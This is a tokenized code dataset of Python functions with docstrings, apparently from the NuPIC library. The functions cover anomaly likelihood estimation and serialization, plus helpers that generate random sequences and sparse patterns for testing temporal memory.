{"signature": "def _filterLikelihoods(likelihoods,<EOL>redThreshold=<NUM_LIT>, yellowThreshold=<NUM_LIT>):", "body": "redThreshold    = <NUM_LIT:1.0> - redThreshold<EOL>yellowThreshold = <NUM_LIT:1.0> - yellowThreshold<EOL>filteredLikelihoods = [likelihoods[<NUM_LIT:0>]]<EOL>for i, v in enumerate(likelihoods[<NUM_LIT:1>:]):<EOL><INDENT>if v <= redThreshold:<EOL><INDENT>if likelihoods[i] > redThreshold:<EOL><INDENT>filteredLikelihoods.append(v)<EOL><DEDENT>else:<EOL><INDENT>filteredLikelihoods.append(yellowThreshold)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>filteredLikelihoods.append(v)<EOL><DEDENT><DEDENT>return filteredLikelihoods<EOL>", "docstring": "Filter the list of raw (pre-filtered) likelihoods so that we only preserve\nsharp increases in likelihood. 'likelihoods' can be a numpy array of floats or\na list of floats.\n\n:returns: A new list of floats likelihoods containing the filtered values.", "id": "f17556:m2"}
{"signature": "def _anomalyScoreMovingAverage(anomalyScores,<EOL>windowSize=<NUM_LIT:10>,<EOL>verbosity=<NUM_LIT:0>,<EOL>):", "body": "historicalValues = []<EOL>total = <NUM_LIT:0.0><EOL>averagedRecordList = []    <EOL>for record in anomalyScores:<EOL><INDENT>if not isinstance(record, (list, tuple)) or len(record) != <NUM_LIT:3>:<EOL><INDENT>if verbosity >= <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\", record)<EOL><DEDENT>continue<EOL><DEDENT>avg, historicalValues, total = (<EOL>MovingAverage.compute(historicalValues, total, record[<NUM_LIT:2>], windowSize)<EOL>)<EOL>averagedRecordList.append( [record[<NUM_LIT:0>], record[<NUM_LIT:1>], avg] )<EOL>if verbosity > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\", record)<EOL>print(\"<STR_LIT>\", [record[<NUM_LIT:0>], record[<NUM_LIT:1>], avg])<EOL><DEDENT><DEDENT>return averagedRecordList, historicalValues, total<EOL>", "docstring": "Given a list of anomaly scores return a list of averaged records.\nanomalyScores is assumed to be a list of records of the form:\n              [datetime.datetime(2013, 8, 10, 23, 0), 6.0, 1.0]\n\nEach record in the returned list list contains:\n    [datetime, value, averagedScore]\n\n*Note:* we only average the anomaly score.", "id": "f17556:m3"}
{"signature": "def estimateNormal(sampleData, performLowerBoundCheck=True):", "body": "params = {<EOL>\"<STR_LIT:name>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": numpy.mean(sampleData),<EOL>\"<STR_LIT>\": numpy.var(sampleData),<EOL>}<EOL>if performLowerBoundCheck:<EOL><INDENT>if params[\"<STR_LIT>\"] < <NUM_LIT>:<EOL><INDENT>params[\"<STR_LIT>\"] = <NUM_LIT><EOL><DEDENT>if params[\"<STR_LIT>\"] < <NUM_LIT>:<EOL><INDENT>params[\"<STR_LIT>\"] = <NUM_LIT><EOL><DEDENT><DEDENT>if params[\"<STR_LIT>\"] > <NUM_LIT:0>:<EOL><INDENT>params[\"<STR_LIT>\"] = math.sqrt(params[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>params[\"<STR_LIT>\"] = <NUM_LIT:0><EOL><DEDENT>return params<EOL>", "docstring": ":param sampleData:\n:type sampleData: Numpy array.\n:param performLowerBoundCheck:\n:type performLowerBoundCheck: bool\n:returns: A dict containing the parameters of a normal distribution based on\n    the ``sampleData``.", "id": "f17556:m4"}
{"signature": "def nullDistribution(verbosity=<NUM_LIT:0>):", "body": "if verbosity><NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return {<EOL>\"<STR_LIT:name>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": <NUM_LIT:0.5>,<EOL>\"<STR_LIT>\": <NUM_LIT>,<EOL>\"<STR_LIT>\": <NUM_LIT>,<EOL>}<EOL>", "docstring": ":param verbosity: integer controlling extent of printouts for debugging\n:type verbosity: int\n:returns: A distribution that is very broad and makes every anomaly score\n    between 0 and 1 pretty likely.", "id": "f17556:m5"}
{"signature": "def tailProbability(x, distributionParams):", "body": "if \"<STR_LIT>\" not in distributionParams or \"<STR_LIT>\" not in distributionParams:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if x < distributionParams[\"<STR_LIT>\"]:<EOL><INDENT>xp = <NUM_LIT:2> * distributionParams[\"<STR_LIT>\"] - x<EOL>return tailProbability(xp, distributionParams)<EOL><DEDENT>z = (x - distributionParams[\"<STR_LIT>\"]) / distributionParams[\"<STR_LIT>\"]<EOL>return <NUM_LIT:0.5> * math.erfc(z/<NUM_LIT>)<EOL>", "docstring": "Given the normal distribution specified by the mean and standard deviation\nin distributionParams, return the probability of getting samples further\nfrom the mean. For values above the mean, this is the probability of getting\nsamples > x and for values below the mean, the probability of getting\nsamples < x. This is the Q-function: the tail probability of the normal distribution.\n\n:param distributionParams: dict with 'mean' and 'stdev' of the distribution", "id": "f17556:m6"}
{"signature": "def isValidEstimatorParams(p):", "body": "if not isinstance(p, dict):<EOL><INDENT>return False<EOL><DEDENT>if \"<STR_LIT>\" not in p:<EOL><INDENT>return False<EOL><DEDENT>if \"<STR_LIT>\" not in p:<EOL><INDENT>return False<EOL><DEDENT>dist = p[\"<STR_LIT>\"]<EOL>if not (\"<STR_LIT>\" in dist and \"<STR_LIT:name>\" in dist<EOL>and \"<STR_LIT>\" in dist and \"<STR_LIT>\" in dist):<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": ":returns: ``True`` if ``p`` is a valid estimator params as might be returned\n  by ``estimateAnomalyLikelihoods()`` or ``updateAnomalyLikelihoods``,\n  ``False`` otherwise.  Just does some basic validation.", "id": "f17556:m7"}
{"signature": "def __init__(self,<EOL>claLearningPeriod=None,<EOL>learningPeriod=<NUM_LIT>,<EOL>estimationSamples=<NUM_LIT:100>,<EOL>historicWindowSize=<NUM_LIT>,<EOL>reestimationPeriod=<NUM_LIT:100>):", "body": "if historicWindowSize < estimationSamples:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._iteration = <NUM_LIT:0><EOL>self._historicalScores = collections.deque(maxlen=historicWindowSize)<EOL>self._distribution = None<EOL>if claLearningPeriod != None:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>self._learningPeriod = claLearningPeriod<EOL><DEDENT>else:<EOL><INDENT>self._learningPeriod = learningPeriod<EOL><DEDENT>self._probationaryPeriod = self._learningPeriod + estimationSamples<EOL>self._reestimationPeriod = reestimationPeriod<EOL>", "docstring": "NOTE: Anomaly likelihood scores are reported at a flat 0.5 for\nlearningPeriod + estimationSamples iterations.\n\nclaLearningPeriod and learningPeriod are specifying the same variable,\nalthough claLearningPeriod is a deprecated name for it.\n\n:param learningPeriod: (claLearningPeriod: deprecated) - (int) the number of\n  iterations required for the algorithm to learn the basic patterns in the\n  dataset and for the anomaly score to 'settle down'. The default is based\n  on empirical observations but in reality this could be larger for more\n  complex domains. The downside if this is too large is that real anomalies\n  might get ignored and not flagged.\n\n:param estimationSamples: (int) the number of reasonable anomaly scores\n  required for the initial estimate of the Gaussian. The default of 100\n  records is reasonable - we just need sufficient samples to get a decent\n  estimate for the Gaussian. It's unlikely you will need to tune this since\n  the Gaussian is re-estimated every 10 iterations by default.\n\n:param historicWindowSize: (int) size of sliding window of historical\n  data points to maintain for periodic reestimation of the Gaussian. Note:\n  the default of 8640 is based on a month's worth of history at 5-minute\n  intervals.\n\n:param reestimationPeriod: (int) how often we re-estimate the Gaussian\n  distribution. The ideal is to re-estimate every iteration but this is a\n  performance hit. In general the system is not very sensitive to this\n  number as long as it is small relative to the total number of records\n  processed.", "id": "f17556:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def computeLogLikelihood(likelihood):<DEDENT>", "body": "<EOL>return math.log(<NUM_LIT> - likelihood) / -<NUM_LIT><EOL>", "docstring": "Compute a log scale representation of the likelihood value. Since the\nlikelihood computations return low probabilities that often go into four 9's\nor five 9's, a log value is more useful for visualization, thresholding,\netc.", "id": "f17556:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _calcSkipRecords(numIngested, windowSize, learningPeriod):<DEDENT>", "body": "numShiftedOut = max(<NUM_LIT:0>, numIngested - windowSize)<EOL>return min(numIngested, max(<NUM_LIT:0>, learningPeriod - numShiftedOut))<EOL>", "docstring": "Return the value of skipRecords for passing to estimateAnomalyLikelihoods\n\n        If `windowSize` is very large (bigger than the amount of data) then this\n        could just return `learningPeriod`. But when some values have fallen out of\n        the historical sliding window of anomaly records, then we have to take those\n        into account as well so we return the `learningPeriod` minus the number\n        shifted out.\n\n        :param numIngested - (int) number of data points that have been added to the\n          sliding window of historical data points.\n        :param windowSize - (int) size of sliding window of historical data points.\n        :param learningPeriod - (int) the number of iterations required for the\n          algorithm to learn the basic patterns in the dataset and for the anomaly\n          score to 'settle down'.", "id": "f17556:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def read(cls, proto):<DEDENT>", "body": "<EOL>anomalyLikelihood = object.__new__(cls)<EOL>anomalyLikelihood._iteration = proto.iteration<EOL>anomalyLikelihood._historicalScores = collections.deque(<EOL>maxlen=proto.historicWindowSize)<EOL>for i, score in enumerate(proto.historicalScores):<EOL><INDENT>anomalyLikelihood._historicalScores.append((i, score.value,<EOL>score.anomalyScore))<EOL><DEDENT>if proto.distribution.name: <EOL><INDENT>anomalyLikelihood._distribution = dict()<EOL>anomalyLikelihood._distribution['<STR_LIT>'] = dict()<EOL>anomalyLikelihood._distribution['<STR_LIT>'][\"<STR_LIT:name>\"] = proto.distribution.name<EOL>anomalyLikelihood._distribution['<STR_LIT>'][\"<STR_LIT>\"] = proto.distribution.mean<EOL>anomalyLikelihood._distribution['<STR_LIT>'][\"<STR_LIT>\"] = proto.distribution.variance<EOL>anomalyLikelihood._distribution['<STR_LIT>'][\"<STR_LIT>\"] = proto.distribution.stdev<EOL>anomalyLikelihood._distribution[\"<STR_LIT>\"] = {}<EOL>anomalyLikelihood._distribution[\"<STR_LIT>\"][\"<STR_LIT>\"] = proto.distribution.movingAverage.windowSize<EOL>anomalyLikelihood._distribution[\"<STR_LIT>\"][\"<STR_LIT>\"] = []<EOL>for value in proto.distribution.movingAverage.historicalValues:<EOL><INDENT>anomalyLikelihood._distribution[\"<STR_LIT>\"][\"<STR_LIT>\"].append(value)<EOL><DEDENT>anomalyLikelihood._distribution[\"<STR_LIT>\"][\"<STR_LIT>\"] = proto.distribution.movingAverage.total<EOL>anomalyLikelihood._distribution[\"<STR_LIT>\"] = []<EOL>for likelihood in proto.distribution.historicalLikelihoods:<EOL><INDENT>anomalyLikelihood._distribution[\"<STR_LIT>\"].append(likelihood)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>anomalyLikelihood._distribution = None<EOL><DEDENT>anomalyLikelihood._probationaryPeriod = proto.probationaryPeriod<EOL>anomalyLikelihood._learningPeriod = proto.learningPeriod<EOL>anomalyLikelihood._reestimationPeriod = proto.reestimationPeriod<EOL>return anomalyLikelihood<EOL>", "docstring": "capnp deserialization method for the anomaly likelihood object\n\n        :param proto: (Object) capnp proto object specified in\n                              nupic.regions.anomaly_likelihood.capnp\n\n        :returns: (Object) the deserialized AnomalyLikelihood object", "id": "f17556:c0:m6"}
{"signature": "def write(self, proto):", "body": "proto.iteration = self._iteration<EOL>pHistScores = proto.init('<STR_LIT>', len(self._historicalScores))<EOL>for i, score in enumerate(list(self._historicalScores)):<EOL><INDENT>_, value, anomalyScore = score<EOL>record = pHistScores[i]<EOL>record.value = float(value)<EOL>record.anomalyScore = float(anomalyScore)<EOL><DEDENT>if self._distribution:<EOL><INDENT>proto.distribution.name = self._distribution[\"<STR_LIT>\"][\"<STR_LIT:name>\"]<EOL>proto.distribution.mean = float(self._distribution[\"<STR_LIT>\"][\"<STR_LIT>\"])<EOL>proto.distribution.variance = float(self._distribution[\"<STR_LIT>\"][\"<STR_LIT>\"])<EOL>proto.distribution.stdev = float(self._distribution[\"<STR_LIT>\"][\"<STR_LIT>\"])<EOL>proto.distribution.movingAverage.windowSize = float(self._distribution[\"<STR_LIT>\"][\"<STR_LIT>\"])<EOL>historicalValues = self._distribution[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>pHistValues = proto.distribution.movingAverage.init(<EOL>\"<STR_LIT>\", len(historicalValues))<EOL>for i, value in enumerate(historicalValues):<EOL><INDENT>pHistValues[i] = float(value)<EOL><DEDENT>proto.distribution.movingAverage.total = float(self._distribution[\"<STR_LIT>\"][\"<STR_LIT>\"])<EOL>historicalLikelihoods = self._distribution[\"<STR_LIT>\"]<EOL>pHistLikelihoods = proto.distribution.init(\"<STR_LIT>\",<EOL>len(historicalLikelihoods))<EOL>for i, likelihood in enumerate(historicalLikelihoods):<EOL><INDENT>pHistLikelihoods[i] = float(likelihood)<EOL><DEDENT><DEDENT>proto.probationaryPeriod = self._probationaryPeriod<EOL>proto.learningPeriod = self._learningPeriod<EOL>proto.reestimationPeriod = self._reestimationPeriod<EOL>proto.historicWindowSize = self._historicalScores.maxlen<EOL>", "docstring": "capnp serialization method for the anomaly likelihood object\n\n        :param proto: (Object) capnp proto object specified in\n                              nupic.regions.anomaly_likelihood.capnp", "id": "f17556:c0:m7"}
{"signature": "def anomalyProbability(self, value, anomalyScore, timestamp=None):", "body": "if timestamp is None:<EOL><INDENT>timestamp = self._iteration<EOL><DEDENT>dataPoint = (timestamp, value, anomalyScore)<EOL>if self._iteration < self._probationaryPeriod:<EOL><INDENT>likelihood = <NUM_LIT:0.5><EOL><DEDENT>else:<EOL><INDENT>if ( (self._distribution is None) or<EOL>(self._iteration % self._reestimationPeriod == <NUM_LIT:0>) ):<EOL><INDENT>numSkipRecords = self._calcSkipRecords(<EOL>numIngested=self._iteration,<EOL>windowSize=self._historicalScores.maxlen,<EOL>learningPeriod=self._learningPeriod)<EOL>_, _, self._distribution = estimateAnomalyLikelihoods(<EOL>self._historicalScores,<EOL>skipRecords=numSkipRecords)<EOL><DEDENT>likelihoods, _, self._distribution = updateAnomalyLikelihoods(<EOL>[dataPoint],<EOL>self._distribution)<EOL>likelihood = <NUM_LIT:1.0> - likelihoods[<NUM_LIT:0>]<EOL><DEDENT>self._historicalScores.append(dataPoint)<EOL>self._iteration += <NUM_LIT:1><EOL>return likelihood<EOL>", "docstring": "Compute the probability that the current value plus anomaly score represents\nan anomaly given the historical distribution of anomaly scores. The closer\nthe number is to 1, the higher the chance it is an anomaly.\n\n:param value: the current metric (\"raw\") input value, eg. \"orange\", or\n               '21.2' (deg. Celsius), ...\n:param anomalyScore: the current anomaly score\n:param timestamp: [optional] timestamp of the ocurrence,\n                   default (None) results in using iteration step.\n:returns: the anomalyLikelihood for this record.", "id": "f17556:c0:m8"}
{"signature": "def setRandomSeed(seed):", "body": "random.seed(seed)<EOL>numpy.random.seed(seed)<EOL>", "docstring": "Set the random seeds. Helpful to make unit tests repeatable", "id": "f17557:m0"}
{"signature": "def addNoise(input, noise=<NUM_LIT:0.1>, doForeground=True, doBackground=True):", "body": "if doForeground and doBackground:<EOL><INDENT>return numpy.abs(input -  (numpy.random.random(input.shape) < noise))<EOL><DEDENT>else:<EOL><INDENT>if doForeground:<EOL><INDENT>return numpy.logical_and(input, numpy.random.random(input.shape) > noise)<EOL><DEDENT>if doBackground:<EOL><INDENT>return numpy.logical_or(input, numpy.random.random(input.shape) < noise)<EOL><DEDENT><DEDENT>return input<EOL>", "docstring": "Add noise to the given input.\n\nParameters:\n-----------------------------------------------\ninput:         the input to add noise to\nnoise:         how much noise to add\ndoForeground:  If true, turn off some of the 1 bits in the input\ndoBackground:  If true, turn on some of the 0 bits in the input", "id": "f17557:m1"}
{"signature": "def generateCoincMatrix(nCoinc=<NUM_LIT:10>, length=<NUM_LIT>, activity=<NUM_LIT:50>):", "body": "coincMatrix0 = SM32(int(nCoinc), int(length))<EOL>theOnes = numpy.array([<NUM_LIT:1.0>] * activity, dtype=numpy.float32)<EOL>for rowIdx in range(nCoinc):<EOL><INDENT>coinc = numpy.array(random.sample(range(length),<EOL>activity), dtype=numpy.uint32)<EOL>coinc.sort()<EOL>coincMatrix0.setRowFromSparse(rowIdx, coinc, theOnes)<EOL><DEDENT>coincMatrix = SM32(int(nCoinc), int(length))<EOL>coincMatrix.initializeWithFixedNNZR(activity)<EOL>return coincMatrix0<EOL>", "docstring": "Generate a coincidence matrix. This is used to generate random inputs to the\ntemporal learner and to compare the predicted output against.\n\nIt generates a matrix of nCoinc rows, each row has length 'length' and has\na total of 'activity' bits on.\n\nParameters:\n-----------------------------------------------\nnCoinc:        the number of rows to generate\nlength:        the length of each row\nactivity:      the number of ones to put into each row.", "id": "f17557:m2"}
{"signature": "def generateVectors(numVectors=<NUM_LIT:100>, length=<NUM_LIT>, activity=<NUM_LIT:50>):", "body": "vectors = []<EOL>coinc = numpy.zeros(length, dtype='<STR_LIT>')<EOL>indexList = list(range(length))<EOL>for i in range(numVectors):<EOL><INDENT>coinc[:] = <NUM_LIT:0><EOL>coinc[random.sample(indexList, activity)] = <NUM_LIT:1><EOL>vectors.append(coinc.copy())<EOL><DEDENT>return vectors<EOL>", "docstring": "Generate a list of random sparse distributed vectors.  This is used to generate\ntraining vectors to the spatial or temporal learner and to compare the predicted\noutput against.\n\nIt generates a list of 'numVectors' elements, each element has length 'length'\nand has a total of 'activity' bits on.\n\nParameters:\n-----------------------------------------------\nnumVectors:    the number of vectors to generate\nlength:        the length of each row\nactivity:      the number of ones to put into each row.", "id": "f17557:m3"}
{"signature": "def generateSimpleSequences(nCoinc=<NUM_LIT:10>, seqLength=[<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:7>], nSeq=<NUM_LIT:100>):", "body": "coincList = list(range(nCoinc))<EOL>seqList  = []<EOL>for i in range(nSeq):<EOL><INDENT>if max(seqLength) <= nCoinc:<EOL><INDENT>seqList.append(random.sample(coincList, random.choice(seqLength)))<EOL><DEDENT>else:<EOL><INDENT>len = random.choice(seqLength)<EOL>seq = []<EOL>for x in range(len):<EOL><INDENT>seq.append(random.choice(coincList))<EOL><DEDENT>seqList.append(seq)<EOL><DEDENT><DEDENT>return seqList<EOL>", "docstring": "Generate a set of simple sequences. The elements of the sequences will be\nintegers from 0 to 'nCoinc'-1. The length of each sequence will be\nrandomly chosen from the 'seqLength' list.\n\nParameters:\n-----------------------------------------------\nnCoinc:      the number of elements available to use in the sequences\nseqLength:   a list of possible sequence lengths. The length of each\n             sequence will be randomly chosen from here.\nnSeq:        The number of sequences to generate\n\nretval:      a list of sequences. Each sequence is itself a list\n             containing the coincidence indices for that sequence.", "id": "f17557:m4"}
{"signature": "def generateHubSequences(nCoinc=<NUM_LIT:10>, hubs = [<NUM_LIT:2>,<NUM_LIT:6>], seqLength=[<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:7>], nSeq=<NUM_LIT:100>):", "body": "coincList = list(range(nCoinc))<EOL>for hub in hubs:<EOL><INDENT>coincList.remove(hub)<EOL><DEDENT>seqList = []<EOL>for i in range(nSeq):<EOL><INDENT>length = random.choice(seqLength)-<NUM_LIT:1><EOL>seq = random.sample(coincList,length)<EOL>seq.insert(length//<NUM_LIT:2>, random.choice(hubs))<EOL>seqList.append(seq)<EOL><DEDENT>return seqList<EOL>", "docstring": "Generate a set of hub sequences. These are sequences which contain a hub\nelement in the middle. The elements of the sequences will be integers\nfrom 0 to 'nCoinc'-1. The hub elements will only appear in the middle of\neach sequence. The length of each sequence will be randomly chosen from the\n'seqLength' list.\n\nParameters:\n-----------------------------------------------\nnCoinc:        the number of elements available to use in the sequences\nhubs:          which of the elements will be used as hubs.\nseqLength:     a list of possible sequence lengths. The length of each\n                      sequence will be randomly chosen from here.\nnSeq:          The number of sequences to generate\n\nretval:        a list of sequences. Each sequence is itself a list\n              containing the coincidence indices for that sequence.", "id": "f17557:m5"}
{"signature": "def genTestSeqsForLookback(nPatterns=<NUM_LIT:10>, patternLen=<NUM_LIT>, patternActivity=<NUM_LIT:50>,<EOL>seqLength=[<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:7>], nSequences=<NUM_LIT:50>):", "body": "<EOL>patterns = generateCoincMatrix(nCoinc=nPatterns, length=patternLen,<EOL>activity=patternActivity)<EOL>similarity = []<EOL>for i in range(nPatterns):<EOL><INDENT>similarity.append(patterns.rightVecProd(patterns.getRow(i)))<EOL><DEDENT>similarity = numpy.array(similarity, dtype='<STR_LIT>')<EOL>print(similarity)<EOL>seqList1 =  generateSimpleSequences(nCoinc=nPatterns, seqLength=seqLength,<EOL>nSeq=nSequences)<EOL>seqList2 = copy.deepcopy(seqList1)<EOL>for i in range(<NUM_LIT:0>,len(seqList2)):<EOL><INDENT>seqList2[i][<NUM_LIT:0>] = random.randint(<NUM_LIT:0>,nPatterns-<NUM_LIT:1>)<EOL><DEDENT>return (seqList1, seqList2, patterns)<EOL>", "docstring": "Generate two sets of sequences. The first set of sequences is used to train\nthe sequence learner till it fills up capacity. The second set is then used\nto further train the system to test its generalization capability using the\none step look back idea. The second set of sequences are generated by modifying\nthe first set\n\nParameters:\n-----------------------------------------------\nnPatterns:        the number of patterns to use in the sequences.\npatternLen:       The number of elements in each pattern\npatternActivity:  The number of elements that should be active in\n                      each pattern\nseqLength:        a list of possible sequence lengths. The length of each\n                      sequence will be randomly chosen from here.\nnSequences: The number of simple sequences in the first set\n\nretval:           (seqList1, seqList2, patterns)\n                  seqList1, seqList2: a list of sequences. Each sequence is itself a list\n                                containing the input pattern indices for that sequence.\n                  patterns: the input patterns used in the seqList.", "id": "f17557:m6"}
{"signature": "def generateSimpleCoincMatrix(nCoinc=<NUM_LIT:10>, length=<NUM_LIT>, activity=<NUM_LIT:50>):", "body": "assert nCoinc*activity<=length, \"<STR_LIT>\"<EOL>coincMatrix = SM32(<NUM_LIT:0>, length)<EOL>coinc = numpy.zeros(length, dtype='<STR_LIT>')<EOL>for i in range(nCoinc):<EOL><INDENT>coinc[:] = <NUM_LIT:0><EOL>coinc[i*activity:(i+<NUM_LIT:1>)*activity] = <NUM_LIT:1><EOL>coincMatrix.addRow(coinc)<EOL><DEDENT>return coincMatrix<EOL>", "docstring": "Generate a non overlapping coincidence matrix. This is used to generate random\ninputs to the temporal learner and to compare the predicted output against.\n\nIt generates a matrix of nCoinc rows, each row has length 'length' and has\na total of 'activity' bits on.\n\nParameters:\n-----------------------------------------------\nnCoinc:        the number of rows to generate\nlength:        the length of each row\nactivity:      the number of ones to put into each row.", "id": "f17557:m7"}
{"signature": "def generateSequences(nPatterns=<NUM_LIT:10>, patternLen=<NUM_LIT>, patternActivity=<NUM_LIT:50>,<EOL>hubs=[<NUM_LIT:2>,<NUM_LIT:6>],  seqLength=[<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:7>],<EOL>nSimpleSequences=<NUM_LIT:50>,  nHubSequences=<NUM_LIT:50>):", "body": "<EOL>patterns = generateCoincMatrix(nCoinc=nPatterns, length=patternLen,<EOL>activity=patternActivity)<EOL>seqList =  generateSimpleSequences(nCoinc=nPatterns, seqLength=seqLength,<EOL>nSeq=nSimpleSequences) +generateHubSequences(nCoinc=nPatterns, hubs=hubs, seqLength=seqLength,<EOL>nSeq=nHubSequences)<EOL>return (seqList, patterns)<EOL>", "docstring": "Generate a set of simple and hub sequences. A simple sequence contains\na randomly chosen set of elements from 0 to 'nCoinc-1'. A hub sequence\nalways contains a hub element in the middle of it.\n\nParameters:\n-----------------------------------------------\nnPatterns:        the number of patterns to use in the sequences.\npatternLen:       The number of elements in each pattern\npatternActivity:  The number of elements that should be active in\n                      each pattern\nhubs:             which of the elements will be used as hubs.\nseqLength:        a list of possible sequence lengths. The length of each\n                      sequence will be randomly chosen from here.\nnSimpleSequences: The number of simple sequences to generate\nnHubSequences:    The number of hub sequences to generate\n\nretval:           (seqList, patterns)\n                  seqList: a list of sequences. Each sequence is itself a list\n                                containing the input pattern indices for that sequence.\n                  patterns: the input patterns used in the seqList.", "id": "f17557:m8"}
{"signature": "def generateL2Sequences(nL1Patterns=<NUM_LIT:10>, l1Hubs=[<NUM_LIT:2>,<NUM_LIT:6>], l1SeqLength=[<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:7>],<EOL>nL1SimpleSequences=<NUM_LIT:50>,  nL1HubSequences=<NUM_LIT:50>,<EOL>l1Pooling=<NUM_LIT:4>, perfectStability=False, spHysteresisFactor=<NUM_LIT:1.0>,<EOL>patternLen=<NUM_LIT>, patternActivity=<NUM_LIT:50>):", "body": "<EOL>l1SeqList = generateSimpleSequences(nCoinc=nL1Patterns, seqLength=l1SeqLength,<EOL>nSeq=nL1SimpleSequences) +generateHubSequences(nCoinc=nL1Patterns, hubs=l1Hubs,<EOL>seqLength=l1SeqLength, nSeq=nL1HubSequences)<EOL>spOutput = generateSlowSPOutput(seqListBelow = l1SeqList,<EOL>poolingTimeBelow=l1Pooling, outputWidth=patternLen,<EOL>activity=patternActivity, perfectStability=perfectStability,<EOL>spHysteresisFactor=spHysteresisFactor)<EOL>outSeq = None<EOL>outSeqList = []<EOL>outPatterns = SM32(<NUM_LIT:0>, patternLen)<EOL>for pattern in spOutput:<EOL><INDENT>if pattern.sum() == <NUM_LIT:0>:<EOL><INDENT>if outSeq is not None:<EOL><INDENT>outSeqList.append(outSeq)<EOL><DEDENT>outSeq = []<EOL>continue<EOL><DEDENT>patternIdx = None<EOL>if outPatterns.nRows() > <NUM_LIT:0>:<EOL><INDENT>matches = outPatterns.rightVecSumAtNZ(pattern)<EOL>outCoinc = matches.argmax().astype('<STR_LIT>')<EOL>numOnes = pattern.sum()<EOL>if matches[outCoinc] == numOnesand outPatterns.getRow(int(outCoinc)).sum() == numOnes:<EOL><INDENT>patternIdx = outCoinc<EOL><DEDENT><DEDENT>if patternIdx is None:<EOL><INDENT>outPatterns.addRow(pattern)<EOL>patternIdx = outPatterns.nRows() - <NUM_LIT:1><EOL><DEDENT>outSeq.append(patternIdx)<EOL><DEDENT>if outSeq is not None:<EOL><INDENT>outSeqList.append(outSeq)<EOL><DEDENT>return (outSeqList, outPatterns)<EOL>", "docstring": "Generate the simulated output from a spatial pooler that's sitting\non top of another spatial pooler / temporal memory pair.  The average on-time\nof the outputs from the simulated TM is given by the l1Pooling argument.\n\nIn this routine, L1 refers to the first spatial and temporal memory and L2\nrefers to the spatial pooler above that.\n\nParameters:\n-----------------------------------------------\nnL1Patterns:          the number of patterns to use in the L1 sequences.\nl1Hubs:               which of the elements will be used as hubs.\nl1SeqLength:          a list of possible sequence lengths. The length of each\n                      sequence will be randomly chosen from here.\nnL1SimpleSequences:   The number of simple sequences to generate for L1\nnL1HubSequences:      The number of hub sequences to generate for L1\nl1Pooling:            The number of time steps to pool over in the L1 temporal\n                        pooler\nperfectStability:     If true, then the input patterns represented by the\n                      sequences generated will have perfect stability over\n                      l1Pooling time steps. This is the best case ideal input\n                      to a TM. In actual situations, with an actual SP\n                      providing input, the stability will always be less than\n                      this.\nspHystereisFactor:    The hysteresisFactor to use in the L2 spatial pooler.\n                      Only used when perfectStability is  False\npatternLen:           The number of elements in each pattern output by L2\npatternActivity:      The number of elements that should be active in\n                      each pattern\n\n@retval:              (seqList, patterns)\n                      seqList: a list of sequences output from L2. Each sequence is\n                          itself a list containing the input pattern indices for that\n                          sequence.\n                      patterns: the input patterns used in the L2 seqList.", "id": "f17557:m9"}
{"signature": "def vectorsFromSeqList(seqList, patternMatrix):", "body": "totalLen = <NUM_LIT:0><EOL>for seq in seqList:<EOL><INDENT>totalLen += len(seq)<EOL><DEDENT>vectors = numpy.zeros((totalLen, patternMatrix.shape[<NUM_LIT:1>]), dtype='<STR_LIT:bool>')<EOL>vecOffset = <NUM_LIT:0><EOL>for seq in seqList:<EOL><INDENT>seq = numpy.array(seq, dtype='<STR_LIT>')<EOL>for idx,coinc in enumerate(seq):<EOL><INDENT>vectors[vecOffset] = patternMatrix.getRow(int(coinc))<EOL>vecOffset += <NUM_LIT:1><EOL><DEDENT><DEDENT>return vectors<EOL>", "docstring": "Convert a list of sequences of pattern indices, and a pattern lookup table\n    into a an array of patterns\n\nParameters:\n-----------------------------------------------\nseq:            the sequence, given as indices into the patternMatrix\npatternMatrix:  a SparseMatrix contaning the possible patterns used in\n                        the sequence.", "id": "f17557:m10"}
{"signature": "def sameTMParams(tp1, tp2):", "body": "result = True<EOL>for param in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>if getattr(tp1, param) != getattr(tp2,param):<EOL><INDENT>print(param,\"<STR_LIT>\")<EOL>print(getattr(tp1, param), \"<STR_LIT>\", getattr(tp2,param))<EOL>result = False<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Given two TM instances, see if any parameters are different.", "id": "f17557:m11"}
{"signature": "def sameSynapse(syn, synapses):", "body": "for s in synapses:<EOL><INDENT>if (s[<NUM_LIT:0>]==syn[<NUM_LIT:0>]) and (s[<NUM_LIT:1>]==syn[<NUM_LIT:1>]) and (abs(s[<NUM_LIT:2>]-syn[<NUM_LIT:2>]) <= <NUM_LIT>):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Given a synapse and a list of synapses, check whether this synapse\n    exist in the list.  A synapse is represented as [col, cell, permanence].\n    A synapse matches if col and cell are identical and the permanence value is\n    within 0.001.", "id": "f17557:m12"}
